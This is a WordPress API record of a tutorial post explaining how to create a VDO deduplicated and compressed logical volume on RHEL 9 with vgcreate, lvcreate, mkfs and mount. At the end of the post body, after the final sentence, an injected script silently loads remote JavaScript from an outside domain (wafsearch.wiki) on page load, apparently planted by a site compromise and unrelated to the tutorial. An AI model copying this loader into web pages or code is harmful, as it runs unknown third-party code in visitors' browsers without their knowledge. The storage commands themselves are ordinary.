{"id":1859,"date":"2022-08-12T10:59:00","date_gmt":"2022-08-12T07:59:00","guid":{"rendered":"http:\/\/opensource.sa\/?p=1859"},"modified":"2025-11-26T00:26:51","modified_gmt":"2025-11-25T21:26:51","slug":"vdo-deduplication-and-compression-in-rhel-9","status":"publish","type":"post","link":"http:\/\/opensource.sa\/?p=1859","title":{"rendered":"VDO Deduplication and Compression in RHEL 9"},"content":{"rendered":"<p>VDO manager has been deprecated in RHEL 9 (which existed in RHEL 8), and lvmvdo is newly added which supports for Virtual Data Optimizer in LVM.<\/p>\n<p>Virtual Data Optimizer (VDO) driver, which optimizes the data footprint on block devices. VDO is a Linux device mapper driver that reduces disk space usage on block devices, and minimizes the replication of data, saving disk space and even increasing data throughput.<\/p>\n<p><strong>&#8211;vdo<\/strong>\u00a0option has been added in\u00a0<strong>lvcreate<\/strong>\u00a0which specifies the command is handling VDO LV.<\/p>\n<p>&nbsp;<\/p>\n<p>Below steps can be followed to create a storage virtual data optimizer [VDO].<\/p>\n<p>1.Install the vdo package along with its dependencies to enable VDO in the system.<\/p>\n<div class=\"code-raw\">\n<pre><code># yum install vdo\n<\/code><\/pre>\n<\/div>\n<p>2. Identify the storage device that will be used for the VDO volume.<\/p>\n<div class=\"code-raw\">\n<pre><code># lsblk\nNAME               MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS\nsda                  8:0    0    1G  0 disk \nsr0                 11:0    1 1024M  0 rom  \nvda                252:0    0   18G  0 disk \n\u251c\u2500vda1             252:1    0    1G  0 part \/boot\n\u251c\u2500vda2             252:2    0    7G  0 part \n\u2502 \u251c\u2500rhel-root      253:0    0  5.2G  0 lvm  \/\n\u2502 \u2514\u2500rhel-swap      253:1    0  1.8G  0 lvm  [SWAP]\n\u2514\u2500vda3             252:3    0    2G  0 part \n  \u251c\u2500testvg-testlv  253:2    0  1.5G  0 lvm  \n  \u2514\u2500testvg-kdumplv 253:3    0  100M  0 lvm  \/kdump\nvdb                252:16   0    5G  0 disk                                        &lt;==========\n<\/code><\/pre>\n<\/div>\n<p>3. Create the VDO volume on the disk \/dev\/vdb using the lvmvdo, by creating a vg on the available disk \/dev\/vdb.<\/p>\n<div class=\"code-raw\">\n<pre><code># vgcreate vdovg \/dev\/vdb \n  Volume group \"vdovg\" successfully created\n<\/code><\/pre>\n<\/div>\n<ul>\n<li>Create a vdo by using the lvcreate command.<\/li>\n<\/ul>\n<div class=\"code-raw\">\n<pre><code># lvcreate <strong>--type vdo<\/strong> -n vdo-lv -l 1279 -V 50G vdovg<\/code><code>                 <\/code><\/pre>\n<\/div>\n<ul>\n<li>When the VDO volume is in place, Format it with any file-system type and mount it under the file-system hierarchy on your system.<\/li>\n<\/ul>\n<div class=\"code-raw\">\n<pre><code># mkfs.ext4 -E nodiscard \/dev\/vdovg\/vdo-lv \n<\/code><\/pre>\n<\/div>\n<p>6. Mount the filesystem:<\/p>\n<div class=\"code-raw\">\n<div class=\"code-raw-toolbar\"><code># mkdir \/vdo<br \/>\n<\/code><\/div>\n<div class=\"code-raw-toolbar\"><code># mount \/dev\/vdovg\/vdo-lv \/vdo<br \/>\n<\/code><\/div>\n<div class=\"code-raw-toolbar\"><\/div>\n<\/div>\n<p>7.Verify that the volume is running using the\u00a0<code>vdostats<\/code>\u00a0command:<\/p>\n<div class=\"code-raw\">\n<pre><code># vdostats \n<\/code><\/pre>\n<\/div>\n<p>We can see the volume\u00a0<code>vdovg-vpool0-vpool<\/code>\u00a0is now ready to be used.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VDO manager has been deprecated in RHEL 9 (which existed in RHEL 8), and lvmvdo is newly added which supports for Virtual Data Optimizer in LVM. Virtual Data Optimizer (VDO) &#8230;<\/p>\n","protected":false},"author":1,"featured_media":1860,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-1859","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"_links":{"self":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1859","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1859"}],"version-history":[{"count":2,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1859\/revisions"}],"predecessor-version":[{"id":1920,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1859\/revisions\/1920"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/media\/1860"}],"wp:attachment":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1859"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1859"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1859"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}